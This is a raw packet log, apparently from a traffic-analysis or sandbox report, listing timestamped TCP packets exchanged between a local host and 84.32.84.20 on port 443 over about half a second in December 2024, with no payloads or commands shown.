Dec 30, 2024 21:42:45.608932018 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.609152079 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.609167099 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.609201908 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.609209061 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.609236002 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.609618902 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.609638929 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.609671116 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.609675884 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.609707117 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.609968901 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.609983921 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.610037088 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.610043049 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.610266924 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.610287905 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.610317945 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.610322952 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.610352039 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.611371994 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.696634054 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.696654081 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.696706057 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.696715117 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.696748972 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.696758986 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.697074890 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.697089911 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.697120905 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.697128057 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.697159052 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.697185040 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.697396040 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.697412014 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.697454929 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.697460890 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.697499037 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.697777987 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.697796106 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.697828054 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.697834015 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.697859049 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.697875023 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.698019981 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.698035955 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.698069096 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.698074102 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.698100090 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.698117971 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.698577881 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.698592901 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.698632956 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.698640108 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.698678017 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.698991060 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.699007034 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.699039936 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.699045897 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.699064016 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.699090004 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.699259043 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.699273109 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.699306965 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.699318886 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.699333906 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.699359894 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.703242064 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.785430908 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.785450935 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.785496950 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.785506964 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.785546064 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.785564899 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.785815954 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.785831928 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.785865068 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.785871029 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.785897970 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.785917997 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.786294937 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.786309958 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.786345005 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.786355972 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.786381960 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.786395073 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.786617041 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.786633968 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.786667109 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.786673069 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.786695957 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.786720037 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.786983013 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.786998034 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.787024975 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.787031889 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.787060022 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.787079096 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.787393093 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.787408113 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.787453890 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.787461996 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.787498951 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.787849903 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.787863970 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.787902117 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.787906885 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.787941933 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.787972927 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.787991047 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.788006067 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.788012981 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.788022995 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.788060904 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.791827917 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.875710011 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.875730991 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.875777006 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.875788927 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.875830889 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.877237082 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.877253056 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.877289057 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.877295017 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.877317905 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.877341032 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.877482891 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.877501011 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.877540112 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.877546072 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.877569914 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.877588034 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.877865076 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.877878904 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.877928019 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.877933979 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.877980947 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.878205061 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.878228903 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.878257990 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.878263950 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.878283024 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.878304005 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.878480911 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.878495932 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.878531933 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.878539085 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.878556013 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.878577948 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.878995895 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.879009008 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.879043102 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.879049063 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.879075050 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.879091978 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.879143953 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.879158020 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.879192114 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.879196882 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.879219055 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.879240036 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.882119894 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.964459896 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.964478970 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.964514971 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.964526892 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.964539051 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.964565039 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.966037035 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.966078043 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.966100931 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.966105938 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.966135025 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.966162920 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.966315985 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.966327906 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.966357946 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.966363907 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.966386080 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.966392040 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.966664076 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.966676950 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.966710091 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.966715097 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.966737032 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.966751099 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.967003107 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.967016935 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.967046022 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.967051029 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.967077971 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.967097998 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.967401028 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.967427969 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.967449903 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.967456102 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.967479944 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.967494011 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.967771053 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.967784882 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.967825890 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.967830896 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.967865944 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.967892885 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.967905045 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.967917919 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.967953920 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.967959881 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:45.967997074 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:45.971318007 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.053673983 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.053690910 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.053749084 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.053760052 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.053798914 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.056166887 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.056184053 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.056231976 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.056238890 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.056279898 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.056509972 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.056526899 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.056596994 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.056602955 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.056651115 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.056756973 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.056770086 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.056802988 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.056809902 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.056833982 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.056848049 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.057147026 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.057163000 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.057195902 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.057202101 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.057229996 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.057250977 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.057363987 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.057379007 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.057411909 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.057418108 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.057441950 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.057461023 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.057735920 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.057750940 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.057787895 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.057795048 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.057821035 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.057838917 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.058008909 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.058032036 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.058054924 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.058060884 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.058084011 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.058099031 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.059814930 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.142395020 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.142415047 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.142612934 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.142621994 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.142782927 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.144882917 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.144898891 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.144958973 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.144964933 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.144998074 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.145436049 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.145453930 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.145524025 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.145530939 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.145596027 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.145797014 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.145812035 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.145862103 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.145869017 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.145908117 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.145994902 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.146009922 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.146054029 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.146064043 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.146109104 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.146378040 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.146390915 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.146445036 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.146451950 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.146487951 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.146771908 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.146787882 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.146836042 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.146842957 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.146883011 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.147054911 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.147068024 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.147116899 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.147123098 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.147171021 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.148849010 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.231467009 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.231484890 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.231705904 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.231713057 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.231765985 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.233804941 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.233819962 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.233880043 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.233885050 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.233926058 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.234215021 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.234227896 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.234281063 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.234287977 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.234327078 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.234539986 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.234556913 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.234610081 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.234615088 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.234668970 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.234862089 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.234875917 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.234913111 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.234919071 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.234945059 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.234962940 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.235158920 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.235174894 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.235217094 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.235223055 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.235248089 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.235261917 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.235538006 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.235552073 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.235606909 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.235614061 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.235652924 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.235766888 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.235784054 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.235832930 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.235840082 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.235878944 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.238018990 CET	49744	443	192.168.2.4	84.32.84.20
